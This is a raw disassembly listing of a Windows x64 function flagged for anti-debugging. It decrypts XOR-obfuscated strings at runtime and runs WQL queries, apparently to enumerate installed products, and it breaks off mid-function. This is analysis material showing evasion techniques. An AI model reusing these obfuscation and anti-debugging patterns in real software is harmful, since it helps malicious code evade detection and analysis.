Function at 0x140079570
Capabilities:
Execute anti-debugging instructions

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x2268
call fcn.14000b260
sub rsp, rax
movdqa xmmword [rsp + 0x2250], xmm11
movdqa xmmword [rsp + 0x2240], xmm10
movdqa xmmword [rsp + 0x2230], xmm9
movdqa xmmword [rsp + 0x2220], xmm8
movdqa xmmword [rsp + 0x2210], xmm7
movdqa xmmword [rsp + 0x2200], xmm6
lea rsi, [rsp + 0x200]
mov rcx, rsi
call fcn.1400c89e0
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
lea rax, [0x1401ac8de]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0x185b17d36e07a3a3
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007ce30
movabs rcx, 0x87cf73d0e44c1a53
xor rcx, qword [rax]
movabs rdx, 0x9146e7a05f1da64a
xor rdx, qword [rax + 8]
mov r8d, 0xfbeaee59
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rdx
mov dword [rsp + 0x210], r8d
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x200]
mov r8d, 0x14
call fcn.1400c8ab0
movzx eax, byte [rsp + 0x98]
cmp rax, 0x12
jne 0x14007981c
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xc0], rax
lea rax, [0x1401a083d]
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x200]
mov rcx, qword [rsp + 0x200]
movabs rdx, 0xd134e46efa1e6664
mov qword [rsp + 0x200], rdx
mov rdx, qword [rsp + 0x200]
call fcn.14007cb70
movabs rcx, 0x92aac422d552ec0b
xor rcx, qword [rax]
movabs rdx, 0x37018eb58ff2c795
xor rdx, qword [rax + 8]
movabs r8, 0x50d33da6dc32961e
xor r8, qword [rax + 0x10]
movabs r9, 0x5eb6bd53db9b24b5
xor r9, qword [rax + 0x18]
movabs r10, 0x86c58ebdaa8fa27d
xor r10, qword [rax + 0x20]
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rdx
mov qword [rsp + 0x210], r8
mov qword [rsp + 0x218], r9
mov qword [rsp + 0x220], r10
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x200]
mov r9d, 0x28
call fcn.140089230
cmp byte [rsp + 0xe0], 0x12
jne 0x14007c751
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xd8], rax
mov r14, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xf8]
xor ecx, ecx
call fcn.1400766f0
test rax, rax
je 0x14007c751
movups xmm0, xmmword [rax]
inc qword [rax]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x1401e67d0]
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x1401e67e0]
movdqa xmmword [rsp + 0x60], xmm0
lea rbx, [rsi + rsi*2]
shl rbx, 4
add rbx, r14
mov qword [rsp + 0x48], r14
test rsi, rsi
je 0x140079d96
lea r15, [rsp + 0xe8]
lea r12, [rsp + 0x230]
lea r13, [rsp + 0xe0]
movdqa xmm6, xmmword [str.uespemosarenegylmodnarodsetybdetn]
movdqa xmm7, xmmword [0x14018e740]
pxor xmm8, xmm8
pcmpeqd xmm9, xmm9
mov r14, qword [rsp + 0x48]
mov qword [rsp + 0x30], rbx
jmp 0x1400798d1
cmp rax, 0x10
ja case.0x140079830.6
lea rcx, [0x14018e7a0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsp + 0xa0], 0
je case.0x140079830.0
lea rax, [rsp + 0xa8]
mov r8, qword [rax]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp case.0x140079830.0
and al, 1
movzx eax, al
sub qword [rsp + 0x60], rax
lea rax, [rcx - 0x10]
and rbp, rax
mov rax, qword [rsp + 0x38]
mov byte [rbx + rcx], al
mov byte [rbp + rbx + 0x10], al
inc qword [rsp + 0x68]
neg rcx
lea rax, [rcx + rcx*2]
mov qword [rbx + rax*8 - 0x18], rdi
mov qword [rbx + rax*8 - 0x10], rsi
mov qword [rbx + rax*8 - 8], rdi
mov rbx, qword [rsp + 0x30]
lea r15, [rsp + 0xe8]
lea r12, [rsp + 0x230]
lea r13, [rsp + 0xe0]
nop word cs:[rax + rax]
mov rcx, r13
call fcn.14007d2a0
cmp r14, rbx
je 0x140079dd1
mov rax, r14
add r14, 0x30
mov rsi, qword [rax]
test rsi, rsi
je 0x140079d96
mov qword [rsp + 0xe0], rsi
mov rcx, qword [rax + 0x28]
mov qword [r15 + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movdqu xmm1, xmmword [rax + 0x18]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
cmp qword [rsp + 0xf8], 0
je 0x1400798c0
movdqu xmm0, xmmword [rsp + 0x100]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm6
movdqa xmmword [rsp + 0x200], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm7
movdqa xmmword [rsp + 0x210], xmm1
movdqa xmmword [rsp + 0x220], xmm0
movdqa xmmword [r12], xmm8
mov qword [r12 + 0x10], 0
mov r8d, 0xb
lea rdi, [rsp + 0x200]
mov rcx, rdi
lea rdx, str.displayName
call case.0x14002eddb.459
mov byte [rsp + 0xb8], 0xff
mov r8d, 1
mov rcx, rdi
lea rdx, [rsp + 0xb8]
call case.0x14002eddb.459
mov rax, qword [rsp + 0x210]
mov r9, qword [rsp + 0x230]
shl r9, 0x38
or r9, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x200]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x208]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
rol rcx, 0x15
xor rax, r8
add rdx, rax
rol rax, 0x11
mov r8, rdx
rol r8, 0x20
xor r8, rax
xor r8, rcx
xor r8, rdx
mov rax, qword [rsp + 0xe8]
mov rcx, r8
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
lea rcx, [rsi - 0x38]
xor edx, edx
and r8, rax
movdqu xmm1, xmmword [rsi + r8]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb r9d, xmm2
nop word cs:[rax + rax]
test r9w, r9w
je 0x140079b40
mov r10d, r9d
lea r9d, [r10 - 1]
and r9d, r10d
tzcnt r10d, r10d
add r10, r8
and r10, rax
neg r10
imul r10, r10, 0x38
cmp qword [rcx + r10 + 0x10], 0xb
jne 0x140079ae0
lea r11, [rcx + r10]
mov r11, qword [r11 + 8]
mov rdi, qword [r11]
movabs rbp, 0x4e79616c70736964
xor rdi, rbp
mov r11, qword [r11 + 3]
movabs rbp, 0x656d614e79616c70
xor r11, rbp
or r11, rdi
jne 0x140079ae0
jmp 0x140079b70
pcmpeqb xmm1, xmm9
pmovmskb r9d, xmm1
test r9d, r9d
jne 0x1400798c0
add r8, rdx
add r8, 0x10
add rdx, 0x10
jmp 0x140079abb
cmp byte [rsi + r10 - 0x20], 2
jne 0x1400798c0
add rsi, r10
mov r12, qword [rsi - 0x10]
mov rdi, qword [rsi - 8]
test rdi, rdi
je 0x140079bd4
js 0x14007c751
movzx eax, byte [0x140228121]
mov rax, qword [0x140228110]
test rax, rax
jne 0x140079bba
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov qword [0x140228110], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapAlloc
mov rsi, rax
test rax, rax
jne 0x140079bd9
jmp 0x14007c751
mov esi, 1
mov rcx, rsi
mov rdx, r12
mov r8, rdi
call sub.msvcrt.dll_memcpy
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x1f0], xmm0
lea rcx, [rsp + 0x1f0]
mov rdx, rsi
mov r8, rdi
call fcn.140087f50
mov r12, rax
cmp qword [rsp + 0x60], 0
je 0x140079d82
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rax, r12
shr rax, 0x39
mov qword [rsp + 0x38], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm10, xmm0, 0
xor eax, eax
mov qword [rsp + 0x28], rax
xor r15d, r15d
and r12, rbp
movdqu xmm11, xmmword [rbx + r12]
movdqa xmm0, xmm11
pcmpeqb xmm0, xmm10
pmovmskb r13d, xmm0
nop word cs:[rax + rax]
test r13w, r13w
je 0x140079cc0
mov eax, r13d
lea r13d, [rax - 1]
and r13d, eax
tzcnt eax, eax
add rax, r12
and rax, rbp
neg rax
lea rax, [rax + rax*2]
cmp rdi, qword [rbx + rax*8 - 8]
jne 0x140079c70
lea rax, [rbx + rax*8]
mov rdx, qword [rax - 0x10]
mov rcx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140079c70
jmp 0x140079d20
cmp r15, 1
mov r15d, 1
je 0x140079ce9
pmovmskb eax, xmm11
xor r15d, r15d
test eax, eax
setne r15b
tzcnt eax, eax
add rax, r12
and rax, rbp
mov qword [rsp + 0x40], rax
pcmpeqb xmm11, xmm9
pmovmskb eax, xmm11
test eax, eax
jne 0x140079d5c
mov rax, qword [rsp + 0x28]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x28], rax
jmp 0x140079c49
test rdi, rdi
mov rbx, qword [rsp + 0x30]
lea r15, [rsp + 0xe8]
lea r12, [rsp + 0x230]
lea r13, [rsp + 0xe0]
je 0x1400798c0
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
jmp 0x1400798c0
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rbx + rcx]
test al, al
js 0x14007985f
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
tzcnt ecx, eax
movzx eax, byte [rbx + rcx]
jmp 0x14007985f
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x70]
call fcn.14007d450
jmp 0x140079c16
mov rax, rbx
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp rbx, r14
je 0x140079dd1
mov rsi, rdx
shr rsi, 5
nop word cs:[rax + rax]
mov rcx, r14
call fcn.14007d2a0
add r14, 0x30
dec rsi
jne 0x140079dc0
cmp qword [rsp + 0xd8], 0
je 0x140079def
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, qword [rsp + 0x48]
call sub.kernel32.dll_HeapFree
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
test rbx, rbx
je 0x140079ece
mov rsi, qword [rsp + 0x50]
test rdi, rdi
je 0x140079e9d
movdqa xmm0, xmmword [rsi]
pmovmskb r13d, xmm0
not r13d
lea r14, [rsi + 0x10]
mov r15, rsi
mov r12, rdi
jmp 0x140079e42
dec r12
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
test r12, r12
je 0x140079e9d
test r13w, r13w
jne 0x140079e71
nop dword [rax + rax]
movdqa xmm0, xmmword [r14]
pmovmskb r13d, xmm0
add r15, 0xfffffffffffffe80
add r14, 0x10
cmp r13d, 0xffff
je 0x140079e50
not r13d
tzcnt eax, r13d
neg rax
lea rax, [rax + rax*2]
cmp qword [r15 + rax*8 - 0x18], 0
je 0x140079e30
lea rax, [r15 + rax*8]
mov r8, qword [rax - 0x10]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x140079e30
lea rax, [rbx + 1]
mov ecx, 0x18
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add rbx, rax
cmp rbx, 0xffffffffffffffef
je 0x140079ece
sub rsi, rax
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xc0]
mov rax, qword [rcx]
call qword [rax + 0x10]
test rdi, rdi
je case.0x140079830.0
lea rdx, [0x1401e7e08]
lea r13, [rsp + 0x200]
mov r8d, 0xa
mov rcx, r13
call fcn.1400c8ab0
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0xb8], rax
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x140079f4b
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0xd8
xor edx, edx
call sub.kernel32.dll_HeapAlloc
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14007c751
lea rax, [0x1401ad4fe]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xc4cdd2f74626acc
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007cd30
movabs rsi, 0x4090a09bc7fbc006
xor rsi, qword [rax]
movabs rdi, 0x4b72e77cc4feb19a
xor rdi, qword [rax + 8]
movabs rbx, 0x96b62fe5e430faf2
xor rbx, qword [rax + 0x10]
movabs r14, 0xd14a0cb3a1e6e40
xor r14, qword [rax + 0x18]
movzx ebp, byte [rax + 0x20]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a002
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x21
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov r12, rax
xor bpl, 0xed
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax + 0x20], bpl
lea rax, [0x1401ab2d2]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xe88e8bea07c5f9b5
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007cdd0
movabs rsi, 0x29108990dcd341e7
xor rsi, qword [rax]
movabs rdi, 0x204721a33c7025a1
xor rdi, qword [rax + 8]
movabs rbx, 0xa1845b5c4a1750da
xor rbx, qword [rax + 0x10]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a0bc
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x18
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], rax
mov qword [rax + 0x10], rbx
lea rax, [0x1401aaf87]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0x34130ebb97be5998
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007d110
movabs rsi, 0x7e7705623bf63f2b
xor rsi, qword [rax]
movabs rdi, 0x94321c0c45ba4bef
xor rdi, qword [rax + 8]
movabs rbx, 0x8c1e45c421cd0d75
xor rbx, qword [rax + 0x10]
movabs r15, 0xc8433fbdd07a1577
xor r15, qword [rax + 0x18]
movzx ebp, byte [rax + 0x22]
movzx r14d, word [rax + 0x20]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a183
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x23
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov edx, r14d
shr edx, 8
xor r14b, 0x87
xor dl, 0xc4
movzx ecx, r14b
movzx edx, dl
shl edx, 8
or edx, ecx
movd xmm0, edx
xor bpl, 0x2d
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r15
movd ecx, xmm0
mov word [rax + 0x20], cx
mov qword [rsp + 0x30], rax
mov byte [rax + 0x22], bpl
lea rax, [0x1401a0065]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xf0d7e7932459e575
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007ce70
movabs rdi, 0xcb734f5da24310d1
xor rdi, qword [rax]
movabs rbx, 0xdf233595f18f7c31
xor rbx, qword [rax + 8]
mov esi, 0x8ba8e2fd
xor esi, dword [rax + 0x10]
movzx ebp, word [rax + 0x14]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a262
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x16
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov r14, rax
mov eax, ebp
xor al, 0xc6
shr ebp, 8
xor bpl, 0x29
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [r14], rdi
mov qword [r14 + 8], rbx
mov dword [r14 + 0x10], esi
movd eax, xmm0
mov word [r14 + 0x14], ax
lea rax, [0x1401a40c9]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0x8b784038a1a9eb12
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007ca40
movq xmm6, qword [rax]
movq xmm8, qword [rax + 8]
movq xmm7, qword [rax + 0x10]
movq xmm9, qword [rax + 0x18]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a320
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x20
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r12
punpcklqdq xmm7, xmm9
punpcklqdq xmm6, xmm8
pxor xmm6, xmmword [0x14018e750]
pxor xmm7, xmmword [0x14018e760]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0xd8], rax
movdqu xmmword [rax + 0x10], xmm7
lea rax, [0x1401a5e68]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0x667303b05389e7fe
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007cc10
movabs rbx, 0xe93ec6ed4d977e60
xor rbx, qword [rax]
movabs r15, 0xddd160e30d8cbd9c
xor r15, qword [rax + 8]
movabs r12, 0x69a5f8dec86278a5
xor r12, qword [rax + 0x10]
mov r14d, 0x17423a1
xor r14d, dword [rax + 0x18]
movzx ebp, byte [rax + 0x1e]
movzx esi, word [rax + 0x1c]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a407
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x1f
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov rdi, rax
mov eax, esi
shr eax, 8
xor sil, 1
xor al, 0x65
movzx ecx, sil
movzx eax, al
shl eax, 8
or eax, ecx
movd xmm0, eax
xor bpl, 8
mov qword [rdi], rbx
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r12
mov dword [rdi + 0x18], r14d
movd eax, xmm0
mov word [rdi + 0x1c], ax
mov byte [rdi + 0x1e], bpl
lea rax, [0x1401a99c8]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xc18287ad0105d3d0
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007cda0
movq xmm6, qword [rax]
movq xmm8, qword [rax + 8]
movq xmm7, qword [rax + 0x10]
movq xmm9, qword [rax + 0x18]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a4d0
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x20
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov r12, rax
punpcklqdq xmm7, xmm9
punpcklqdq xmm6, xmm8
pxor xmm6, xmmword [0x14018e770]
pxor xmm7, xmmword [0x14018e780]
movdqu xmmword [rax], xmm6
movdqu xmmword [rax + 0x10], xmm7
lea rax, [0x1401abe7f]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0x79d8d66da3c1e841
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007d280
movabs rbx, 0x4875200174c1a401
xor rbx, qword [rax]
movabs r14, 0x8aebbf4362dbb15b
xor r14, qword [rax + 8]
movabs rbp, 0x66b65a815d779982
xor rbp, qword [rax + 0x10]
movabs rsi, 0xc9dfc0801123a232
xor rsi, qword [rax + 0x18]
movzx r13d, word [rax + 0x20]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a5a9
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x22
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov r15, rax
mov eax, r13d
xor al, 0x87
shr r13d, 8
xor r13b, 0xd4
movzx eax, al
movzx ecx, r13b
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [r15], rbx
mov qword [r15 + 8], r14
mov qword [r15 + 0x10], rbp
mov qword [r15 + 0x18], rsi
movd eax, xmm0
mov word [r15 + 0x20], ax
lea rax, [0x1401a5e07]
mov qword [rsp + 0x200], rax
lea rdx, [rsp + 0x200]
mov rcx, qword [rsp + 0x200]
movabs rax, 0xe40b928deea28cf1
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007cab0
movabs rsi, 0x29a078604a95675f
xor rsi, qword [rax]
movabs rbx, 0x816b3399f3210df6
xor rbx, qword [rax + 8]
movabs r14, 0x80125414041462b5
xor r14, qword [rax + 0x10]
mov ebp, 0x98869adc
xor ebp, dword [rax + 0x18]
movzx r13d, byte [rax + 0x1c]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007a696
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x1d
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
xor r13b, 0x72
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], ebp
mov byte [rax + 0x1c], r13b
mov rbp, qword [rsp + 0x48]
mov qword [rbp], 0x21
mov rcx, qword [rsp + 0x38]
mov qword [rbp + 8], rcx
mov qword [rbp + 0x10], 0x21
mov qword [rbp + 0x18], 0x18
mov rcx, qword [rsp + 0x28]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], 0x18
mov qword [rbp + 0x30], 0x23
mov rcx, qword [rsp + 0x30]
mov qword [rbp + 0x38], rcx
mov qword [rbp + 0x40], 0x23
mov qword [rbp + 0x48], 0x16
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0x16
mov qword [rbp + 0x60], 0x20
mov rcx, qword [rsp + 0xd8]
mov qword [rbp + 0x68], rcx
mov qword [rbp + 0x70], 0x20
mov qword [rbp + 0x78], 0x1f
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], 0x1f
mov qword [rbp + 0x90], 0x20
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0x20
mov qword [rbp + 0xa8], 0x22
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 0x22
mov qword [rbp + 0xc0], 0x1d
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], 0x1d
lea r15, [rsp + 0x210]
lea rax, [rsp + 0xb8]
movq xmm7, rax
lea r12, [rbp + 0x20]
mov esi, 0xc0
xor edi, edi
movdqa xmm6, xmmword [0x14018e790]
lea rax, [rdi + rdi*2]
inc rdi
mov rdx, qword [rbp + rax*8]
movabs rcx, 0x8000000000000000
cmp rdx, rcx
je 0x14007ac4f
mov qword [rsp + 0x28], rdi
lea rax, [rax*8]
add rax, rbp
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
test rdi, rdi
mov qword [rsp + 0x30], rdx
je 0x14007a870
js 0x14007c751
movzx eax, byte [0x140228121]
mov rax, qword [0x140228110]
test rax, rax
jne 0x14007a84f
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov qword [0x140228110], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapAlloc
mov r13, rax
test rax, rax
jne 0x14007a876
jmp 0x14007c751
mov r13d, 1
mov qword [rsp + 0x38], rsi
mov rcx, r13
mov qword [rsp + 0x40], rbx
mov rdx, rbx
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov edx, 3
lea rcx, str.WQLCould_not_find_central_directory_endInvalid_zip_headerInvalid_digital_signature_headerCould_not_find_ZIP64_central_directory_end
call fcn.1400c5530
mov r14, rax
mov rcx, r13
mov rdx, rdi
call fcn.1400c5530
mov rbx, rax
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x200]
mov r8, r14
mov r9, rax
call fcn.1400895e0
mov rsi, qword [rsp + 0x200]
mov rbp, qword [rsp + 0x208]
test rsi, rsi
je 0x14007ac20
test rbp, rbp
je 0x14007a8f3
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
test rbx, rbx
je 0x14007a900
mov rcx, rbx
call sub.oleaut32.dll_SysFreeString
test r14, r14
mov rbp, qword [rsp + 0x48]
je 0x14007a912
mov rcx, r14
call sub.oleaut32.dll_SysFreeString
test rdi, rdi
je 0x14007a928
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, r13
call sub.kernel32.dll_HeapFree
test rsi, rsi
jne 0x14007c751
pshufd xmm0, xmm8, 0xee
movq rdi, xmm0
mov byte [rsp + 0x98], 0x12
lea rcx, [rsp + 0x200]
mov rdx, rdi
lea r8, [rsp + 0x98]
call fcn.140080c30
cmp qword [rsp + 0x200], 0
je 0x14007ab50
mov rsi, qword [rsp + 0x208]
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xf0], xmm1
mov rax, qword [r15 + 0x20]
mov qword [rsp + 0x100], rax
test rsi, rsi
je 0x14007ab50
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
movzx eax, byte [0x140228121]
mov rax, qword [0x140228110]
test rax, rax
jne 0x14007a9f4
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov qword [0x140228110], rax
mov r8d, 0xc0
mov rcx, rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov r14, rax
mov qword [rax], rsi
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm1
mov rax, qword [rsp + 0x70]
mov qword [r14 + 0x28], rax
mov qword [rsp + 0xc0], 4
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], 1
mov r13d, 1
mov esi, 0x38
jmp 0x14007aa97
mov qword [r14 + rsi - 8], rbx
movdqa xmm0, xmmword [rsp + 0x50]
movdqa xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r14 + rsi], xmm0
movdqu xmmword [r14 + rsi + 0x10], xmm1
mov rax, qword [rsp + 0x70]
mov qword [r14 + rsi + 0x20], rax
inc r13
mov qword [rsp + 0xd0], r13
add rsi, 0x30
lea rcx, [rsp + 0x200]
mov rdx, rdi
lea r8, [rsp + 0x98]
call fcn.140080c30
cmp qword [rsp + 0x200], 0
je 0x14007ab70
mov rbx, qword [rsp + 0x208]
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movaps xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xf0], xmm1
mov rax, qword [r15 + 0x20]
mov qword [rsp + 0x100], rax
test rbx, rbx
je 0x14007ab70
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
movaps xmm0, xmmword [rsp + 0xe0]
